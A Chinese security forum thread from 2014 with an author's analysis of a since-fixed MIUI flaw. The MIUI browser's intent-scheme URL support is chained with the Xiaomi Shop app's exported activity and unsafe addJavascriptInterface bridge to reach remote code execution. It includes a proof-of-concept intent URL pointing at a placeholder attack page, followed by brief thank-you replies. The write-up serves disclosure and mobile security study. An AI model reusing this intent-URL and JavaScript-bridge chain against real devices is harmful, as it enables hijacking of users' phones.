查看: 25163|回复: 20

小米手机MIUI远程代码执行漏洞分析

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2014-8-27 09:21:20 | 显示全部楼层 |阅读模式
    作者:嘎巴嘎巴

    7月我在研究webview漏洞时专门挑小米手机的MIUI测试了下,发现了非常明显的安全漏洞。通过该漏洞可以远程获取本地APP的权限,突破本地漏洞和远程漏洞的界限,使本地app的漏洞远程也能被利用,达到隔山打牛的效果。在漏洞发现的第一时间,我已经将漏洞细节报告给了小米安全响应中心,目前漏洞已经修复。
    1. 测试环境:手机型号:MI 3
    2. Android版本:4.2.1 JOP40D
    3. MIUI版本:MIUI-JXCCNBE21
    4. 内核版本:3.4.35-ga656ab9
    复制代码

    小米MIUI原生浏览器存在意图协议安全问题
    在使用小米原生浏览器的时候我发现MIUI定制了网络异常页面, 如当前url不能访问或网络异常会跳转到定制的网页,通过点击网页中的链接可以直接进入WIFI的设置界面.
    QQ截图20140827091751.jpg
    根据我以往的经验,APP要在静态网页中实现进程间通信主流的方法有两种,一种是通过addJavascriptInterface给webview加入一个javascript桥接接口,通过调用这个接口可以直接操作本地的JAVA接口。另外一种方法是使用Intent.parseUri解析URL,让APP支持intent scheme URLs(意图协议URL),通过解析特定格式的URL直接向系统发送意图。
    测试过后,果然发现小米浏览器完全支持意图协议URL,测试过程如下,让小米浏览器直接访问下面的地址,浏览器会向系统发起意图,启动本地的日历APP
    1. intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end
    复制代码

    QQ截图20140827091847.jpg
    我再翻阅了一下google官方framework中intent的源代码:
    /platform/frameworks/base/+/core/java/android/content/Intent.java
    3966行的Intent.parseUri定义

    1. if (uri.startsWith("S.", i)) b.putString(key, value);
    2. else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
    3. else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
    4. else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
    5. else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
    6. else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
    7. else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
    8. else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
    9. else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
    10. else throw new URISyntaxException(uri, "unknown EXTRA type", i);
    复制代码

    可以明显的看到Intent.parseUri解析URL时完全可以自定义EXTRA DATA和DATA以及acion等,通过符合格式的协议地址向本地任意APP发送任意意图,所以如果本地某个APP的导出组件存在漏洞,我们也可以从这个入口进行远程攻击。

    小米商店存在webview远程代码执行漏洞
    顺着第一部分的思路,我开始审计MIUI系统中预装和内置的APP,希望能发现被远程利用的漏洞。在自动漏洞扫描中,我发现小米官方的APP“小米商店”的webview使用了addjavascriptinterface,且编译API级别小于17,可能存在webview远程代码执行漏洞。
    1408980474938.jpg
    于是我针对这个APP进行了逆向分析,发现了该APP的多个导出组件,如com.xiaomi.shop.activity.MainActivity组件接受参数能够被外部调用加载任意的网页。
    14089805466881.jpg
    同时我发现了该组件关联的com.xiaomi.shop.ui类初始化了一个叫WE的addJavascriptInterface漏洞接口,并且没有做任何安全处理。
    14089805814061.jpg
    根据逆向代码,com.xiaomi.shop.activity.MainActivity这个活动组件接受的EXTRA DATA是string类型,结合第一部分小米浏览器的意图协议漏洞,可以轻松写出漏洞验证代码,通过导入的网页调用存在漏洞的JavascriptInterface接口WE,能够以当前APP的权限执行任意的命令和JAVA代码。
    1. intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html;end
    复制代码

    安全建议
    安卓开发者在注意用户体验的开发同时也应该关注安全,因为某个APP的易用功能而导致整个系统的安全性大打折扣就得不偿失了。
    本次分析的漏洞,如果是恶意攻击者,通过载入远程的恶意网页利用ROOT漏洞攻击,完全可以直接掌控受害者的手机,后果不可想象。据了解小米官方已经修复了小米商店APP存在的漏洞,建议小米手机和MIUI的用户都尽快升级。
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2015-11-4 08:51
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2014-8-27 09:43:00 | 显示全部楼层
    谢谢分享!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-8-27 11:29:10 | 显示全部楼层
    移动端安全的好文。
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-8-27 15:04:40 | 显示全部楼层
    感谢分享  虽然我看不懂  
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-8-27 17:21:38 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-12-23 12:44
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2014-8-27 23:41:03 | 显示全部楼层

    感谢lz的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-8-28 06:38:27 | 显示全部楼层
    虽然看不懂但觉得好叼啊
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-8-28 08:57:21 | 显示全部楼层
    手机端  大把多事情
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2014-8-28 10:29:42 | 显示全部楼层
    诺基亚撸过。
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-8-28 11:06:06 | 显示全部楼层
    好文章,支持!!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-24 04:12 , Processed in 0.027403 second(s), 20 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部